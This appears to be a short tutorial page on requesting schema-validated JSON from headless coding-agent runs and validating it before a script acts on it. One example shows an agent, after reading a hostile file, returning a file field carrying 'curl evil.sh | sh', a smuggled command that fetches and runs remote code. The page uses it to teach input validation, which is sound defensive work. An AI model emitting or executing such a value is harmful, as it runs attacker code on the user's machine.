Skip to content
mentoor

Topic 2 of 5 · 4 min read

Getting machine-readable results from agent runs

Goal: Configure a headless run to return a result that matches a schema and reject a run whose output does not validate.

A script should never act on free text from an agent; ask for JSON that matches a schema, then validate it yourself before using it.

Check yourself · 1 of 3

Why should a script ask an agent for JSON instead of reading its prose answer?

Choose one answer

Why it matters

An agent's reply is prose by default: "I found three issues, the worst is in auth.ts." A human can read that. A script cannot safely pull the number three or a file name out of it. And models sometimes drop a field, rename one or add a friendly sentence around the JSON. If your next step is "open a ticket" or "fail the build", a wrong parse has real effects.

How to do it

  1. Pick an output format. Claude Code's --output-format json returns one JSON object for the whole run, with the answer and metadata such as cost and session id. --output-format stream-json emits one event per line while the run progresses. Codex has --json for a stream of events.
  2. Give the final answer a schema. Claude Code accepts --json-schema and Codex accepts --output-schema. The schema is a JSON Schema document that names the fields and types you expect.
  3. Validate on your side. The schema steers the model, but your script must still check the result with a validator and handle a failure. Treat the agent as an untrusted producer of data.
  4. Check the run before the answer. Read the exit code and any error flag in the metadata first. Only then look at the result.
  5. Decide the failure path. On invalid output, retry once with the error message, or fail the job. Never fall back to guessing.
{
  "type": "object",
  "required": ["verdict", "issues"],
  "properties": {
    "verdict": { "enum": ["pass", "fail"] },
    "issues": {
      "type": "array",
      "items": {
        "type": "object",
        "required": ["file", "line", "summary"],
        "properties": {
          "file": { "type": "string" },
          "line": { "type": "integer" },
          "summary": { "type": "string" }
        }
      }
    }
  }
}

Before and after

Weak: claude -p "review this diff and list issues" | grep -c "Issue". It counts the word, and one extra "Issue" in a sentence breaks the count.

Better: pass the schema above with --output-format json, parse the result, validate it, and fail the build only when verdict is "fail" and the object validates.

What goes wrong

  • Trusting the schema flag alone. A run that was cut off or refused can return something that does not match. Validate every time.
  • Acting on a partial stream. If you read streamed events, wait for the final result event before taking action.
  • Schemas that are too loose. A free-text field everywhere means you have only moved the parsing problem.
  • Putting agent text into a shell command. A field such as file can hold anything. Treat it as data, never as code.

Examples

Fail the build only on a valid verdict

A CI step parses the result, validates it against the schema, and reads verdict. A missing issues array fails validation, so the step reports "agent output invalid" and stops, rather than quietly passing.

A field that carried a command

An agent returns "file": "a.ts; curl evil.sh | sh" after reading a hostile file. A script that runs open $file executes it. Validating that file is an existing path inside the repo blocks it.

Key points

  • Ask for JSON with a schema, because free text cannot be parsed safely by a script.
  • Claude Code offers --output-format and --json-schema; Codex offers --json and --output-schema.
  • Always validate the result in your own code; the schema steers the model but does not guarantee the output.
  • Check the exit code and run status before reading the answer.
  • Treat every field as untrusted data and never paste it into a shell command.

Common mistakes

  • Counting or grepping words in free-text output instead of requesting a schema.
  • Skipping validation because a schema flag was set.
  • Reading streamed events and acting before the final result event arrives.
  • Interpolating agent-produced fields into shell commands or SQL.

Check yourself · 2 of 3

A run was started with a schema flag and returned exit code 0. What should the script still do?

Choose one answer

Check yourself · 3 of 3

The result has a field "file" that a script will open. What is the safest handling?

Choose one answer

Practice items, not counted towards your mastery.

Start here

More for this topic